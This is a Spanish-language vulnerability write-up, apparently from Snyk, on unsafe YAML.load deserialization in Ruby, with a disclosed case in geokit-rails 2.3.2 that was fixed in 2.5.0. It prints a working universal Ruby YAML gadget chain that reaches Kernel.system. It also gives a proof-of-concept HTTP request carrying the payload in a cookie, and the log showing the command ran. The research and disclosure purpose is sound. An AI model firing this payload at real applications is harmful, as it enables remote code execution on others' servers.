Detección de deserialización de YAML con Snyk Code

Realicé una investigación para intentar identificar problemas de inyección de YAML en proyectos de código abierto con Snyk Code. Aunque la vulnerabilidad en sí no es nueva, el impacto potencial de la inyección de YAML es alto, por lo que resultó ser una buena candidata para la investigación. Esta investigación permitió descubrir varios problemas en proyectos de código abierto escritos en Python, PHP y Ruby. Este artículo se centra en el problema encontrado en geokit-rails versión 2.3.2, un complemento para Ruby on Rails

YAML

YAML es mucho más que un simple formato de intercambio de datos como JSON. La especificación describe varias funciones avanzadas que lo convierten en un buen candidato para investigar su seguridad, como las siguientes:

• Etiquetas personalizadas (por ejemplo, PyYAML)

• Anclas y alias

• Atributos combinados

• Flujos de varios documentos

YAML también se puede usar para serializar datos binarios y objetos arbitrarios en distintos lenguajes, lo que puede dar lugar a vulnerabilidades de deserialización. Estas vulnerabilidades son el objetivo de esta investigación, ya que su explotación suele permitir la ejecución remota de código (RCE).

Deserialización de YAML en Ruby

En Ruby, el análisis de YAML está integrado en el lenguaje, así que no se necesitan bibliotecas adicionales. Si una aplicación usa el analizador YAML integrado de Ruby, es vulnerable a ataques de deserialización si se usa YAML.load() o YAML.load_file() en lugar de YAML.safe_load() o YAML.safe_load_file(), respectivamente. El proyecto SafeYAML ofrece un analizador alternativo de YAML seguro de forma predeterminada.

El siguiente script y su salida muestran una forma insegura de cargar YAML con YAML.load().

1require 'yaml'
2
3var = {
4 id: 1,
5 desc: 'A simple hash'
6}
7
8yaml = '---
9:id: 1
10:desc: A simple hash'
11
12puts var
13puts YAML.load(yaml)
14
15# Prints:
16
17{:id=>1, :desc=>"A simple hash"}
18{:id=>1, :desc=>"A simple hash"}

La variable var contiene un hash simple de Ruby, y la variable yaml contiene el hash equivalente serializado en formato YAML. Ambas instrucciones puts muestran el mismo hash, porque la variable yaml se deserializó de una cadena YAML a un hash mediante YAML.load(). También es posible serializar y deserializar objetos más complejos de esta manera. 

Durante las etapas iniciales de esta investigación, encontré un gadget universal de deserialización de YAML para Ruby que funcionaba en las versiones 2.x a 3.x de Ruby y que, al deserializarse, ejecutaba comandos arbitrarios.

1---
2- !ruby/object:Gem::Installer
3    i: x
4- !ruby/object:Gem::SpecFetcher
5    i: y
6- !ruby/object:Gem::Requirement
7  requirements:
8    !ruby/object:Gem::Package::TarReader
9    io: &1 !ruby/object:Net::BufferedIO
10      io: &1 !ruby/object:Gem::Package::TarReader::Entry
11         read: 0
12         header: "abc"
13      debug_output: &1 !ruby/object:Net::WriteAdapter
14         socket: &1 !ruby/object:Gem::RequestSet
15             sets: !ruby/object:Net::WriteAdapter
16                 socket: !ruby/module 'Kernel'
17                 method_id: :system
18             git_set: id
19         method_id: :resolve

La carga útil de YAML anterior ejecutará el comando id al deserializarse, si se analiza mediante YAML.load() o YAML.load_file().

Caso de estudio: geokit-rails (2.3.2)

La gema geokit-rails es un complemento para Ruby on Rails que proporciona servicios de ubicación a la aplicación. El complemento usa el método inseguro YAML.load() mediante el método retrieve_location_from_cookie_or_service() en geokit-rails/ip_geocode_lookup.rb:

1# Uses the stored location value from the cookie if it exists.  If
2# no cookie exists, calls out to the web service to get the location.
3def retrieve_location_from_cookie_or_service
4 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
5 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
6 return location.success ? location : nil
7end

Los datos que llegan al método inseguro YAML.load() provienen del parámetro cookies de Ruby on Rails, que contiene las cookies enviadas en la solicitud. Esto es una buena noticia para un atacante, ya que puede controlar directamente las cookies si crea la solicitud HTTP adecuada. 

Prueba de concepto

Configuré una aplicación de Rails que ejecutaba el complemento geokit-rails (versión 2.3.2) en Ruby 3.0.0. Envié la siguiente solicitud HTTP a la aplicación para explotar el problema. Incluye la carga útil de YAML codificada en URL en la cookie geo_location.

1GET http://127.0.0.1:3000/vulns HTTP/1.1
2Host: 127.0.0.1:3000
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5Accept-Language: en-GB,en;q=0.5
6Connection: keep-alive
7Upgrade-Insecure-Requests: 1
8Sec-Fetch-Dest: document
9Sec-Fetch-Mode: navigate
10Sec-Fetch-Site: none
11Sec-Fetch-User: ?1
12Content-Length: 0
13Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

En la aplicación de Rails, la carga útil se deserializó y ejecutó, y el comando id se ejecutó para demostrar que era posible ejecutar comandos.

1Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
2sh: reading: command not found 
3uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
4Completed 500 Internal Server Error in 167ms (Allocations: 35610)

En un sistema que use geokit-rails, un atacante que explotara esta vulnerabilidad podría iniciar una ejecución remota de código (RCE), lo que potencialmente le permitiría tomar el control total del sistema. 

Corrección

Este problema se comunicó de manera responsable a la persona encargada del mantenimiento de geokit-rails y se corrigió en la versión 2.5.0 del software, reemplazando con JSON el YAML que contenía la información de coordenadas. A partir de esta investigación, se mejoraron y ampliaron las reglas de Snyk Code para detectar inyecciones de YAML, por lo que ahora deberían poder detectarse más de estos problemas en los proyectos de los usuarios.